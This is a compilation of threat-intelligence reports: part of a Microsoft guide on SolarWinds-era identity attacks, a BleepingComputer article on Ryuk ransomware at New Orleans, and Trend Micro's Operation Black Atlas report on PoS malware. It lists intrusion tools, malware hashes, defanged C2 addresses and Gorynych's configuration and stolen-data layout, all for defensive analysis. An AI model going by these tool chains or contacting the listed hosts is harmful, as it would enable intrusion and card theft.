with administrative privileges. The impersonated users later took actions consistent with attacker patterns described below. - Service Principals added into well-known administrative roles such as Tenant Admin or Cloud Application Admin. - Reconnaissance to identify existing applications with application roles that have permissions to call Microsoft Graph. - The applications or service principals impersonated were different from customer to customer – the actor did not have a “go to” target. - The applications or service principals included both customer developer and vendor developed software. - No Microsoft 365 applications or service principals were used impersonated (customer credentials cannot be added to these applications and service principals). - Token forgeries consistent with pattern 1, above. **What it implies:** - Administrative access to the Azure AD was gained. - Attacker did extensive recon to find unique applications which could be used to obfuscate their activity. **What to look for:** - Anomalous administrative session associated with modification of federation trust relationships. - Unexpected service principals added to privileged roles in cloud environments. **What to do:** - Review all applications and service principals for credential modification activity. - Review all applications and service principals for excess permissions. - Remove all inactive service principals from your environment. - Regularly roll creds for all applications and service principals. ### Pattern 4: Queries impersonating existing applications With credentials added to an existing application or service principal, the actor proceeded to acquire an OAUTH access token for the application using the forged credentials, and call APIs with the permissions which had been assigned to that applications. Most of the API calls we detected were focused on email and document extraction, but in some cases API calls added users, or added permissions to other applications or service principals. Calls were generally very targeted, synchronizing then monitoring email for specific users. **What we found:** - Application calls attempting to authenticate to Microsoft Graph resource with applicationID: "00000003-0000-0000-c000-000000000000". - Impersonated calls to the Microsoft Graph Mail.Read and Mail.ReadWrite endpoints. - Impersonating calls came from anomalous endpoints. These endpoints were not repeated from customer to customer. The endpoints were usually Virtual Private Server (VPS) vendors. **What it implies:** - Attacker was primarily interested in persistence and reconnaissance. - Attacker was attempting to obfuscate their activity. **What to look for:** - Anomalous requests to your resources from trusted applications or service principals. - Requests from service principals that added or modified groups, users, applications, service principals, or trust relationships. **What to do:** - Review all federation trust relationships, ensure all are valid. - Determine mechanism of administrative account impersonation. - Roll administrative account credentials. ## Other Observations This section relates other observations of attacker behavior. ### Attacker access to on-premises resources Our optics into on-premises behavior are limited, but here are the indicators we have as to how on-premises access was gained. We recommend using on-premises tools like Microsoft Defender for Identity (formerly Azure ATP) to detect other anomalies: - Compromised network management software used as command and control to place malicious binaries which exfiltrated SAML token signing certificate. - Compromised vendor credentials with existing administrative access (vendor network compromised). - Compromised service account credentials associated with compromised vendor software. - Use of non-MFA service account. ### Attacker access to cloud resources For administrative access to the Microsoft 365 cloud, we observed: - Forged SAML tokens impersonating accounts with cloud administrative privileges. - Accounts without MFA required – these are easily compromised. - Access from trusted vendor accounts where the attacker had compromised the vendor environment. ## Identity Attack Graph This graph summarizes the vectors and combinations tracked in this document. ## Other Guidance The following guidance may assist customers in protecting their environments: - We published an Azure AD Workbook to help you hunt for the behaviors described in this document. - To protect Microsoft 365 resources from a compromise of on-premises environments. - If your organization has been compromised, review recovery guidance from DART. - To configure for Zero Trust to increase explicit request verification, least privileged access, and assumed breach protection. ## Stay up to date The Solarwinds attack is an ongoing investigation, and our teams continue to act as first responders to these attacks. As new information becomes available, we will make updates through our Microsoft Security Response Center (MSRC) blog.
# Ryuk Ransomware Likely Behind New Orleans Cyberattack By Lawrence Abrams December 15, 2019 Based on files uploaded to the VirusTotal scanning service, the ransomware attack on the City of New Orleans was likely conducted by the Ryuk Ransomware threat actors. On December 14th, 2019, one day after the City of New Orleans ransomware attack, what appear to be memory dumps of suspicious executables were uploaded from an IP address in the USA to the VirusTotal scanning service. One of these memory dumps, which contained numerous references to New Orleans and Ryuk, was later found by Colin Cowie of Red Flare Security and shared with BleepingComputer.com. As memory dumps are a snapshot of the memory being used by an application while it is running, they can be used to extract useful strings, file names, commands, and other information that the executable interacted with or executed. This allows memory dumps to be used during cyber attack forensic investigations to learn more about how the attack was conducted. The memory dump found by Cowie is for an executable named `yoletby.exe` and contains numerous references to the City of New Orleans including domain names, domain controllers, internal IP addresses, user names, file shares, and references to the Ryuk ransomware. The Ryuk ransomware strings included in the dump were the HERMES file marker, file names ending with the .ryk extension, and references to the created RyukReadMe.html ransom notes. After investigating the file further, BleepingComputer found an interesting reference to the `C:\Temp\v2.exe` executable that was executed on the machine. It turns out that a memory dump for this file was also uploaded to VirusTotal. Of particular interest in the `v2.exe` memory dump is a string that refers to the New Orleans City Hall. After further digging, BleepingComputer was able to find a `v2.exe` executable, and after executing it, was able to confirm that it was the Ryuk ransomware. While it is not known if this executable is the one used in the City of New Orleans attack, it does show that this filename is used in Ryuk attacks and the memory dumps show that a file of that name was used on an attack against the City of New Orleans. If the City of New Orleans was indeed encrypted by Ryuk, which by the evidence seems likely, then this is just another victim of Ryuk who has seen increased activity lately. BleepingComputer has contacted the City of New Orleans for confirmation that they were infected with Ryuk, but have not heard back at this time. ## Emotet and Trickbot Likely Present as Well If New Orleans was encrypted by Ryuk, there is also a very high chance that the Emotet and TrickBot infections are present on the network as well. Emotet is a malware infection that is commonly spread through spam emails that contain malicious attachments. When opened and macros enabled, these attachments will install the Emotet Trojan on the victim's computer. Emotet will then use that infected computer to spam other computers with malicious attachments and also download further malware on the computer. One of the most common malware installed by Emotet is the TrickBot information-stealing Trojan. When executed, TrickBot will connect back to a command and control server where it will receive commands to load various modules that steal information from the computer or install even further malware. After the TrickBot actors collect all valuable information and data from the computer, it will then open a reverse shell back to the Ryuk actors. From there, the Ryuk team will perform reconnaissance of the network, collect admin passwords, take over domain controllers, and utilize post-exploitation toolkits such as PowerShell Empire. This is why all network admins need to realize that if they have been encrypted by Ryuk, there has commonly been a malware presence on their network for quite a while and that other data may have been stolen or compromised. ## What Does This Mean for the City of New Orleans? It means that in addition to the Ryuk Ransomware infection, they also have to deal with the fact that attackers have been snooping around their data for some time. The city will need to be more diligent against targeted phishing attacks, tighten security on their network, and change passwords. Also, as it is unknown what financial information may have been attained by the attackers, the City of New Orleans should contact their banking partners and put new procedures in place regarding how money is transferred. **Update 12/15/19:** Updated article to include how Emotet and Trickbot are usually found with Ryuk infections. Thx @vagab0ndsec and @QW5kcmV3.
# Operation Black Atlas: How Modular Botnets are Used in PoS Attacks ## Introduction Our analysis of Black Atlas has given us a lot of information on the tools used by cybercriminals, their operations, as well as how they utilize these tools in targeting PoS systems. We learned about their methods of initial compromise as well as how they use pen-testing tools to gain further access into the network. We also found Gorynych—a modular botnet client that was retrofitted to use BlackPOS and target PoS systems, as well as a variety of other tools that the Black Atlas operators used to penetrate networks. In this report, we will look further into these tools and techniques, how they work, and what network administrators can do to protect their networks against these threats. ## Technical Details ### Probing and Penetrating the Environment Through the use of the Trend Micro™ Smart Protection Network™, we have been able to determine that the attackers used several tools to probe and compromise an IP address list: | Tool Name | Why and when is it used? | |-------------------------------|---------------------------| | Medusa Parallel | Enumerates services and tries to authenticate via brute force method. Supports multiple protocols. | | Network Login Auditor | Used to fingerprint a remote SMTP server and guess which mail software is used on a remote server. Though most environments are firewalled, the name of the service that answers on a known port may provide more context of the underlying network infrastructure hidden behind the firewall. | | Fast SYN Scanner | Scans port on a given range of hosts, using a specified interface, to see which host would respond back from a TCP SYN packet. | | nVNC Scanner | Can take a combination of IPs, and try a list of passwords to authenticate on a VNC port. | | nCrack | High-speed network authentication cracking tool. Supports multiple protocols. | | nPCA Bruter | Scans port on a given range of hosts. | | Fast RDP Brute GUI v2.0 | Scans for a list of IP addresses and uses a user name/password combination for authentication. | | Sentry MBA Universal | Universal HTTP dictionary brute-forcer/cracking tool. Highly configurable. | | RealVNC viewer 5.2.3 | Once a VNC is exposed, simple use VNC Viewer to attempt to connect to the port. | | Cain and Abel | Password recovery tool for the Microsoft Operating System. Allows recovery of various passwords by sniffing the network, cracking encrypted passwords using dictionary, brute-force, etc. | | RDP Scanner X | Scans for a list of IP addresses and uses a username/password combination for authentication. | After gaining access to the initial host, the attacker now uses these tools to move further within the network: | Tool name | Why and when is it used? | |-------------------------------|---------------------------| | Advanced IP Scanner | Free, fast and easy to use IP scanner, used to identify internal hosts. | | Radmin | A popular remote control software alternative to the default Remote Desktop. Can be planted on other hosts to further penetrate within the network. | | PushVNC package | Once inside a network, can be used to remotely push and start the VNC service. | | Fgdump | Newer version of pwdump tool for extracting NTLM and LanMan password hashes from Windows. | | Dameware | Dameware, like Radmin, is a popular remote control software alternative to the default Remote Desktop. Can be planted on other hosts to further penetrate within the network. | | VNC Password Recovery Tool | A small utility that can recover passwords stored by the VNC application. | | xDedic RDP Patch | RDP Patcher can create a new local account that can be used if the initially compromised account has changed passwords. | ### Point-of-Sale Threats Apparently, the website we wrote about earlier wasn't the only one that distributed CenterPOS and Katrina. Activity on that cybercriminals’ toolbox had slowed down around the time we wrote about it, and they have set up shop somewhere else. Here are other contents that we found: | Original Name | SHA1 | Size | TM Detection | Notes | |---------------------|-------------------------------------|--------|-------------------------------------|--------------------------------| | 32.exe | 007c82ee41939459e1bc84 | 169984 | TSPY_POSNEWT.SMA | 32-bit NewPOSThings | | 64.exe | 27e99e527914eca78b851b | 194048 | TSPY64_POSNEWT.SM | 64-bit NewPOSThings | | AutoExe.bat | 2c8d4804c3d5c9458b81df | 335 | BAT_NEUTRINO.B | Downloads and installs b+.exe | | AutoExe1.bat | cb98f62327cb998edacbd93 | 423 | BAT_NEUTRINO.BA | Downloads and installs 32.exe and 64.exe | | bt.exe | bc7618bfc3a80ea89f52362 | 87040 | BKDR_NEUTRINO.SM | Neutrino/KASIDET T (w/POS) | | b+.exe | 60b679361db8413060cce8 | 84664 | TROJ_GEN.R047C0DIN15 | Neutrino/KASIDET T (w/POS) | | CenterPoint.exe | f9b4451988f4dfbaf918a5a3 | 71168 | BKDR_CENTERPOS.A | CenterPOS | | klg.exe | 81672ade63280796b8848 | 101888 | TSPY_KEYLOGR.U | Key logger -- saves logs to %userprofile%\wlnsys.inf | | KTNC.exe | a8cca3c64065961d3f8f47f | 159232 | BKDR_ALINA.POSKAT | Alina (Katrina) | | recon.exe | c2974699bfc215501614bf8 | 4852488| SPYW_CCVIEW | Cardholder Data Discovery Tool (legitimate file; scans files on server, workstation, storage devices for credit card data). | | start.exe | 150cd61abaf54de3ba768f0 | 47616 | TROJ_POSLOAD.A | Downloader, downloads and installs CenterPOS | | X.bat | 08882799c720b54d44108 | 738 | BAT_CENTERPOS.B | Downloads and installs centerpoint.exe | Comparing the files that were found previously, this is definitely an upgrade from their previous approach. Let's start with one of the batch files in use, AutoExe1.bat: Some observations from AutoExe1.bat: 1. It uses bitsadmin.exe to download the files that would load NewPOSThings. Background Intelligent Transfer System (BITS) usually comes into play when the operating system downloads updates from Microsoft or the local WSUS server. But it can be used to download files such as the malware shown above. The method of downloading malware through BITSADMIN has been talked about since as early as 2013. 2. It now clears the system events to cover tracks. 3. It also has one call to delete AutoExe.bat. This last instruction appears to be a typo, since it deleted AutoExe1.bat instead. There is an AutoExe.bat, but it loaded the Neutrino/Kasidet variant that had PoS functionality. The batch file has a very similar approach for loading this particular Neutrino/Kasidet variant. Both batch files combined two batch files from the previous approach that they had—namely Setup.bat and ClearEventN.bat. There are some files that seem to be reused in this toolbox though, like recon.exe, X.bat (though they removed the Dropbox download location), as well as the binaries of CenterPOS and NewPoSThings. The differences, however, do not stop there. ### New Items in NewPosThings There weren’t many changes done to the NewPoSThings malware from a technical standpoint. With the discovery of the 64-bit variants and the usage of v3.0 last April, version 3.0 and 64-bit malware types became more commonplace to the point that we rarely see the version 2.x anymore. | SHA1 | TM Detection | C&C | Version | |---------------------------------------------|------------------------------------------|--------------------------------------------|---------| | c3732c425d41b68150e0eb37 | TSPY_POSNWT.SMA | hxxp://chiproses[.]net/connect/ | 3.0 | | 2d860a6ce1398973 | | | 3.0 | | f96bacd550e8f113134980cde3 | TSPY_POSNEWT.SMA | hxxp://46.161.30[.]200/b/connect/2 | 3.0 | | 3eecfa6da3ebe5 | | | 3.0 | | cfe25d6e4b994b8f07fdfc197c8 | TSPY_POSNEWT.SMA | hxxp://chiproses[.]net/connect/ | 3.0 | | f0b2081df4d5b | | | 3.0 | | 29051ca6c3e0c21065f2cbce8b | TSPY_POSNEWT.SMA | hxxp://chiproses[.]net/connect/ | 3.0 | | fa2926f6d95fbd | | | 3.0 | | 13f1f2b2eac06d0ac9a499d4a1 | TSPY_POSNEWT.SMA | hxxp://corner-update[.]net/connect/6 | 3.0 | | 56fe558916e51a0f81dfb20718 | TSPY64_POSNEWT.ZSS | hxxp://corner-update[.]net/connect/6 | 3.0 | | 77dc1389835f48454ef5d83d3 | TSPY_POSNEWT.SMA | hxxp://178.32.130[.]54/connect/3 | 3.0 | | aa3a424eac54a8e | | | 3.0 | | 0868af41f7279a8cee499bdbb1 | TSPY_POSNEWT.SMA | hxxp://179.43.128[.]69/connect/3 | 3.0 | | 00084564e1aaff | | | 3.0 | | 4ee213576bf936e8df31c725ab | TSPY64_POSNEWT.B | hxxp://46.161.30[.]200/b/connect/2 | 3.0 | | 13ab9fa5dbea72 | | | 3.0 | | 22a01b064b3c173163ace331 | TSPY_POSNEWT.SMA | hxxp://jtrho[.]net/connect/9 | 3.0 | | 38ef243fbf7ef6af | | | 3.0 | | 007c82ee41939459e1bc8430 | TSPY_POSNEWT.SMA | hxxp://damcodes777[.]cc/b/connect/2 | 3.0 | | 97e1a56287cd86bd | | | 3.0 | | 02cb522137f370355de9c2e3c | TSPY64_POSNEWT.SM | | 3.0 | | ae7ca9a168b95ec | | | 3.0 | Aside from just using NewPOSThings and variants of Alina and Kasidet/Neutrino, we’ve also seen an old PoS threat called Project Hook and an installation of PwnPOS, all of which have the same installation method used. ### Use of Known PoS Malware Threats #### Case Study: Healthcare The most interesting observed infections affected organizations in the healthcare industry. These seem to be the unlikely target for PoS malware, but nowadays, it doesn’t really matter to cybercriminals as long as there is money to steal. In fact, they have recently become more likely to infiltrate other businesses apart from retailers. **Set 1: Pediatric Dentistry Clinic** | SHA1 | TM Detection | Description | |-------------------------------------------------------------------------------|-------------------------------------|---------------------------------| | 4a88a3696251b7079857eb98455621b9ca632f42 | BKDR_GORYNYCH.SM | Gorynych / Diamond Fox | | 80aedf2eddc9e2f39306cbaa63e59c7a08468699 | TSPY_POCARDL.AI | BlackPOS | | 1efa8798d819147300a6aa27d0cc54f4b929badf | TSPY_ALINAOS.DEX | Alina (Spark) | Take note that BKDR_GORYNYCH.SM was found in Temporary Internet Files as loader[1].exe, which indicates that it was downloaded directly from the browser. It wouldn’t make sense if the user actually just tried to download it, unless there is someone else in control of the system. We mentioned earlier that the attacker makes use of several tools such as RDP scanners and password brute forcers as its initial step to find its targets and gain access to the system. This possibility is something to consider, and it is most likely the point of entry in this case since one of the endpoints in this network had an open RDP port. If a brute force attack is successful, the attacker will be in full control and will be ready to plant malware through direct download. **Set 2: Assisted Living Facility** | SHA1 | TM Detection | Description | |---------------------------------------------------------------------|-------------------------------|---------------------------------| | 68a14979c9a589eb1dd6f232895737e5bfaf07cd | BKDR_SPYNET.E | Spy Net RAT | | a8cca3c64065961d3f8f47f1e40553a525590450 | BKDR_ALINA.POSKAT | Alina (Katrina) | | 007c82ee41939459e1bc843097e1a56287cd86bd | TSPY_POSNEWT.SMA | NewPOSThings | | f74b17ca7a542323534a7c7766a8dfe821c6bcce | TSPY_POCARDL.YL | BlackPOS | | a913dc86f9217a9c5163f2508d86a085013f9ef0 | BKDR_GORYNYCH.B | Gorynych / Diamond Fox | | 37c0d892b38bbf9d8c6a8d35db5b32555cb758c8 | CRCK_PATCH | TermSrv Patch to Enable Concurrent Remote Desktop Sessions | | c76975a4b4606890a586b4914d2f624780c97627 | TSPY_POSHOOK.C | Project Hook POS | | 80aedf2eddc9e2f39306cbaa63e59c7a08468699 | TSPY_POCARDL.AI | BlackPOS | | **5bf0256876cee98e20c92c8771b98f3143b07d61 | TSPY_POSHOOK.B | Project Hook POS | | 27e99e527914eca78b851bb9f2a4d0441d26e7e3 | TSPY64_POSNEWT.SM | NewPOSThings | | **22a01b064b3c173163ace33138ef243fbf7ef6af | TSPY_POSNEWT.SMA | NewPOSThings | | f6d548f245169b965671b279dff052d5d26f4ec7 | TSPY64_POSNEWT.SM | NewPOSThings | | 0868af41f7279a8cee499bdbb100084564e1aaff | TSPY_POSNEWT.SMA | NewPOSThings | | 906c8cf51530ce2852257c966f4d4da7192b9991 | HKTL_RDPPatcher | Creates new RDP administrator account | There are a few things worth noting here: - We know from the Smart Protection Network that some of these files were placed into the system using pcAnywhere. This means that the initial compromise happened in another computer within the network. Some hacking tools related to Remote Desktop were found in the system, which includes CRCK_PATCH, a TermSrv patch that enables concurrent remote desktop sessions so that it is not limited to only one user accessing the computer at a time. Another hacking tool is HKTL_RDPPatcher, which allows the attacker to create a new RDP administrator account so that he would still have access to the machine even after the password has been changed. Note that pcAnywhere and Remote Desktop were used here to blend with the usual administrative methods used. It could be assumed that other methods would be applied by the threat actor should the environment be using other remote desktop utilities. - The use of RATs such as Spy Net enables a stealthier and more convenient approach for controlling the compromised machine. Other functionalities like password grabbing and keylogging may also be used to easily exfiltrate information. The same can be said about Gorynych, which is also capable of information theft. These two will be discussed further in the next sections. - The final step in this attack is to install a PoS threat. The attacker evidently has a wide variety of PoS malware in its toolset as seen in this infection. We are already familiar with the listed PoS threats above – BlackPOS, Project Hook, Posnewt, Alina, Katrina. Spy Net has also been around for a few years now. But what’s BKDR_GORYNYCH? Upon analysis, we figured that we’ve just discovered a new player in the game of credit card theft. ### Gorynych or Diamond Fox Technically, Gorynych is not considered a PoS malware as it wasn’t designed to attack PoS systems. It can be likened to a bot and/or an information stealer that downloads BlackPOS to make use of its RAM scraping functionality. So is Gorynych simply a downloader that delivers random malware to infected computers? Apparently not. In fact, Gorynych complements BlackPOS so well that it even knows what its output file would be. The output is uploaded to its control panel to view all the dumped credit card numbers in memory. The images used for Gorynych’s control panel login page are called “Kartoxa,” another name for BlackPOS. Aside from the POS plugin, there are other modules that make up this malware’s entirety. These are usually downloaded from a subdirectory in the C&C with fixed names. | Location | Description | |-----------------------------------|--------------------------------------| | .\plugins\spam.p | Spam | | .\plugins\social.p | Social Media | | .\plugins\screenshot.p | Screenshot | | .\plugins\rdp.p | RDP | | .\plugins\POS.p | BlackPOS | | .\plugins\passwords.p | Password grabber (browser) | | .\plugins\mail.p | Mail Grabber | | .\plugins\ins.p | Instant Messaging | | .\plugins\homepage.p | Homepage | | .\plugins\ddos.p | DDOS | | .\plugins\keylogger.p | Keylogger | | .\plugins\ftp.p | FTP Password Grabber | Most of the time, these functionalities are not used altogether. The most frequently used ones have been highlighted to recognize the attacker’s intent in using this malware. We already have a clue from its toolset and we are not surprised to see that the attacker is mainly concerned with passwords, key logs, and credit card information. Gorynych without the plugins can do only a few things which are mostly for installation and anti-analysis. Some of these routines can be enabled or disabled depending on the builder options selected. ### Anti-Analysis, Information Theft, Others | Anti-Analysis | Information Theft | Others | |-----------------------------------|-------------------------------------|------------------------------------| | Anti-AV | Bitcoin Wallet | UAC Forcer | | Anti-Sandbox | | Melt | | Anti-VM | | Update | | | | Install | | | | Uninstall | | | | Download and Execute (in memory or on disk) | | | | USB Spread | Given the fact that there is a Bitcoin Wallet option, this may not come into surprise as this topic of bitcoin payment to everyday establishments has been picking up wind as of late. ### Diamond Fox Builder and Configuration When building Gorynych, the user is allowed to customize some things like the connection, security keys, installation details, and anti-analysis options. You’ll notice on the installation tab that the keylogger and POS grabber are disabled by default. However, these are enabled in the infections that we see. This strengthens our theory that the target of the attacker(s) are mainly POS systems. Once done, the configuration is saved and encrypted in either the resource section or the end of the file. It is saved in the resource by default. These are the corresponding configuration options: | Panel | Command and Control Server | |-------------------------------------|------------------------------------| | FBP | Fall Back Panel (Backup CnC) | | Time | Connection Time | | MKey | Encryption key | | Xor | Encryption key | | UsA | User Agent | | BtcA | Bitcoin Address | | Asys | Anti-Sysanalyzer | | ABox | Anti-VirtualBox | | AVMW | Anti-VMWare | | Abis | Anti-Anubis | | Olly | Anti-OllyDbg | | Boxie | Anti-Sandboxie | | Malwr | Anti-Malwr.com | | Norman | Anti-Norman | | Wine | Anti-Wine | | Reg | Disable Regedit | | Task | Disable Taskmanager | | USB | USB Spread | | Inam | Install Name | | Ipat | Install Path | | HKML | HKCU/HKLM Startup Method | | WLOG | Winlogon Startup Method | | SFOL | Startup Folder Startup Method | | MELT | Melt / Self Delete | | Keyl | Keylogger | | PoS | POS RAM Scraping | | Agra | Automatic Grabbers | | Stpe | Startup Persistence | ### C&C Communication The initial download of the keylogger and PoS plugins would have the user-agent similar to that of the browser of the affected endpoint. However, the other plugins (ftp, rdp, mail, ins, and passwords) are downloaded via the “vb wininet” user-agent. After downloading its plugins, Gorynych reports to its server via gate.php using HTTP POST. This time, it uses its own user-agent that can be found in its configuration file. The parameters consist of system information used to profile the bot, mainly for identification in the Gorynych control panel. The posted information is encrypted, but as pointed out in a blog post by Cylance, instead of using the encryption key itself, it XOR’ed the entire string with its key length. This is how it looks like when decrypted. The rest of the stolen information is also uploaded via HTTP POST with the markers "--Xu02=$" and "--Xu02=$--" at the beginning and end of data. The panel allows LOG, TXT, JPG, HTML, and wallet files to be uploaded via post.php. These logs are stored in these subdirectories: | Location | Description | |-----------------------------------|--------------------------------------| | .\logs\dump\ | Credit card information | | .\logs\scr\ | Screenshots | | .\logs\pass\ | Browser passwords | | .\logs\ftp\ | FTP passwords | | .\logs\ins\ | Instant messaging passwords | | .\logs\rdp\ | RDP passwords | | .\logs\mail\ | Email passwords | | .\logs\kyl\ | Key logs | | .\logs\wallet\ | Bitcoin wallet | A few months earlier, a GitHub user named Xyl2k posted a file upload vulnerability on DiamondFox, which allowed a user to upload a PHP reverse shell to the server instead of logs. This has been fixed in later versions. ### Spy Net RAT It is clear that in this attack, Gorynych was used to steal sensitive information such as user credentials and key logs. But in order to maintain full control, the attackers need a Remote Access Tool which in this case was Spy Net. #### Builder The Spy Net builder is pretty straightforward. There are a wide variety of options that can be configured for Spy Net, including the AutoRun, installation directory, error messages, mutex name, and process injection. The user can also choose which anti-analysis or anti-debugging features will be enabled or disabled. Aside from the C&C server, the RAT can also send its logs to an FTP server if available. #### Malicious Behavior The result is similar to having your computer accessed via Remote Desktop Connection, plus more. Aside from the regular backdoor routines, it is also capable of automatically grabbing passwords, keylogging, looking at the contents of your clipboard, and even spying on you using your own webcam and microphone. We listed all its capabilities in the table below: | Remote Control | Surveillance | Information Theft | Miscellaneous | |-----------------------------------|----------------------------------|------------------------------------|------------------------------------| | File Manager | Capture Audio | Keylogger | Display Message Box | | Registry Editor | Capture Webcam | Clipboard | Shutdown | | DOS Prompt | | Get MSN Messenger Contact List | Hibernate | | Device List | | Search Passwords | Log-off | | Active Ports List | | | Restart | | Installed Programs | | | Turn Monitor Off | | Windows List | | | Hide Start Button | | Service List | | | Hide Desktop Icons | | Processes List | | | Hide Taskbar | | Remote Desktop | | | Disable Mouse | | Download and Execute File | | | Reverse Mouse Buttons | | Open Web Page | | | Hide System Tray Icons | | Run Command | | | Send Chat Message | | Send File and Run | | | Screen Capture | | | | | HTTP Proxy | | | | | Update Server | | | | | Uninstall | | | | | Rename Self | ## Victimology As mentioned, a big part of Operation Black Atlas started off by scanning an IP range, knocking on the doors to see which ports are open, and attempting to brute-force their way through remote desktop protocols. By identifying the environments that fall victim to this methodology, we found that a good majority were small-to-medium businesses (SMBs) that have opened these ports intentionally. Given the nature of the business, we can assume that the opened ports were most likely for outsourced IT services or so that their in-house IT admins (if they exist) can get back in the network from remote locations. SMBs have different challenges as they need to figure out how technology solutions can help grow their business, try to balance IT spending costs for upgrades or maintenance, or even just keep the business running. With this, it comes with no surprise that there may be some quick fixes or misconfigurations here and there that may have lesser chance of happening in a larger environment with a dedicated IT staff. Certainly, there are regional peculiarities that we have observed. For example, there was a minor hit in Switzerland for a PwnPOS sample that they tried to plant on a terminal that was using PaniPOS Terminal. The software, PaniPOS Terminal, was created by a local Swiss company called Panipro AG. Therefore, we know that the threat actors would not go seeking for the same kind of terminal in, say, Latin America. That being said, Operation Black Atlas had a wide variety of PoS threats to choose from and, for the purpose of focusing on a specific region in this write-up, we would be mentioning some observed data but most of the material would cover what we have observed within the United States. The two PoS threats that may have the most significant impact would be NewPOSThings and Gorynych. The distribution of NewPOSThings concentrated within the United States, some in Europe and finally a few hits in Asia. While we were able to see infections in Asia (Australia, India, Taiwan), Europe (Germany, United Kingdom) and Latin America (Chile) for Gorynych, infections within the United States looked quite interesting as there is a high possibility of finding both Gorynych and NewPOSThings. We then looked into some of the affected establishments of Operation Black Atlas where we have spotted both indicators of Gorynych and NewPOSThings: - A multi-state healthcare provider and two dental clinics - A machine manufacturer - A technology company focusing on insurance services - A gas station that has a multi-state presence - A beauty supply shop Not so much can be said for finding both Gorynych and NewPOSThings in a gas station or a beauty supply shop, but finding a bot that had information-stealing capability in the industries of insurance, manufacturing, and healthcare certainly can raise alarm. For example, any individual who walks into a dental clinic or asks services from a healthcare provider would be required to present proof of identification, fill out forms that may contain sensitive information like an individual’s Social Security number (SSN) or driver’s license ID number, and even present proof of insurance. If paper forms were initially used by patients to fill in their information, then there would be manual data input to the back-end healthcare system. All of these data that require keystrokes can be easily monitored by Gorynych’s keylogger functionality. Finally, and though we have not seen this in action, the Bitcoin wallet information theft functionality presents something as a forward-looking feature. As early as later 2013 and early 2014, there have been healthcare providers who have supported payment through bitcoins to maintain significant anonymity protections for patients. Being able to tap into that anonymous financial stream would be quite lucrative for cybercriminals. ## Attribution No strong attribution can be made at this time. However, the tools used for initial entry are seen, discussed, and distributed in multiple hacking and security forums sourced within the last two years. In combination with the tools being used, we have observed some of the files packaged specifically for some affected environments resemble languages spoken in Central Europe, like aiureala.zip (meaning “nonsense” in some translations), as well as a file named oricenume.exe (sometimes meaning “any name”). Aside from this, some of the uncovered log files have a timestamp format popularly used in Europe (dd/mm/yyyy). It would also be worth noting that the link to the infrastructure being used in this operation and to PwnPOS is quite strong. In our write-up of PwnPOS, the method being used for data exfiltration would be the use of email, as seen below. Notice that the email address of the recipient was also used as the administrative contact of a domain related to Spy Net. One other domain used in the Spynet was registered by “Petrov Strong.” The same name was used to register an account at a carding forum around September 2015. This does not, however, point us explicitly to anyone or any group in particular but it does highlight the following facts about this threat actor/group: - The toolset would be from security forums that discuss such tools. The group or the actors have been keeping themselves updated with the recent tools and may have a strong background in network penetration methodologies. - The threat actor or group has a long history with point-of-sale-related threats, having access to different RAM scraper families. - With the use of remote access Trojans to maintain control of the compromised environment, the group may be interested in other aspects of the network. The use of existing tools within the environment also paints a picture that the group, or the threat actors, has a big picture in mind – they are able to take the environment with the correct context and use it for their own advantage. It also shows that enough reconnaissance has been performed so that they can use effective methodologies against the environment that they intend to compromise. However, unlike network penetration testers, they do not have restricted goals, have tricks up their sleeve to prolong their access, and seek out other forms of interesting data for their own benefit. ## Conclusion Our research indicates there is a high possibility of the threat actors having direct remote access to the compromised network at one point or another. As early as 2012, the Data Breach Investigations Report by Verizon noted that remote access services already suffered high-volume automated attacks - to quote: “Remote access services (e.g., VNC, RDP) continue their rise in prevalence, accounting for 88% of all breaches leveraging hacking techniques—more than any other vector. Remote services accessible from the entire Internet, combined with default, weak, or stolen credentials continue to plague smaller retail and hospitality organizations.” Even though this has been said and acknowledged for the past three years, we cannot be 100% sure of the attackers' methodology. It does not, however, hurt to be extra vigilant and make sure that we do not forget what history and past reporting have taught us in allowing remote access services. And even though we may create sufficiently strong password combinations, we should make sure that our credentials do not get compromised, as well as have good password policies in place. While a good antimalware solution may provide protection, a compromised account that threat actors can use to reintroduce themselves within the environment renders those technology investments near useless. We have also seen threat actors persistently try to introduce PoS threats through creative means – such as command-line FTP. It is usually a given nowadays that we screen and limit items coming in through the publicly interfacing firewall, or filter out items that traverse through web/HTTP and even apply filtering. However, we seldom inspect other protocols that may be used to transfer files. A threat actor having direct remote access to a terminal may simply launch a command-line FTP and pull down other threats, efficiently evading the web/HTTP filtering. As efficient as getting in through remote-desktop utilities is, the same entry vector like the native Microsoft Remote Desktop and Symantec PCAnywhere application would have efficient means to transfer files from one host to another. This completes not only the initial entry point but assists with lateral movement as well. Something specific to Gorynych is the bot’s ability to get bitcoin wallet information - passwords stored in either RDP sessions, browsers, or FTP clients, as well as keystrokes (with its use of a keylogger). These types of information stealers, as well as cracking utilities and hack tools, should be given serious attention once discovered. The existence of such malicious software within the network should be tracked, endpoints where these utilities have landed should be triaged, and a process should be in place to handle this kind of incident should it occur. For example, finding a keylogger on a terminal that processes insurance claims or data entry for patient information should be immediately dealt with as this could be close to a serious data breach as the attacker can now access the patient portal and take hold of patient information data. We know that Black Atlas’ current operations are somewhat successful as they have been able to compromise some interesting victims that, for them, are low-hanging fruits and are easy prey. Furthermore, we believe that this method of operation would continue, improve, and may still be utilized in the future by other threat actor groups. ## Recommendations The following items have been mentioned in the 2012 Data Breach Investigations Report by Verizon, and we will restate them here as they still hold true: ### For smaller organizations: - Implement a firewall or ACL on remote access services. - Change default credentials of POS systems and other internet-facing devices. - If a third-party vendor is handling the two items above, make sure they’ve actually done them. ### For large organizations: - Eliminate unnecessary data; keep tabs on what’s left. - Ensure essential controls are met; regularly check that they remain so. - Monitor and mine event logs. - Evaluate your threat landscape to prioritize your treatment strategy. We would like to add that small organizations may want to look into implementing some items for large organizations – essential controls on passwords and network/system security, as well as monitor and mine event logs would be very beneficial for any size of an organization. We’d like to also note that network segmentation and isolation of the cardholder data environment from other networks should be standard practice not only for big retailers and stores. Trend Micro is monitoring this ongoing activity and would make follow-up reports on this if necessary. To read up on how to enhance your security posture on your point-of-sale systems, please read "Defending Against PoS RAM Scrapers: Current Strategies and Next-Gen Technologies" as well as our write-up on "Protecting Point of Sales Systems from PoS Malware." To detect, analyze, and respond to advanced malware and other attack techniques, the Custom Defense™ by Trend Micro™ may prove invaluable to your organization's security needs.
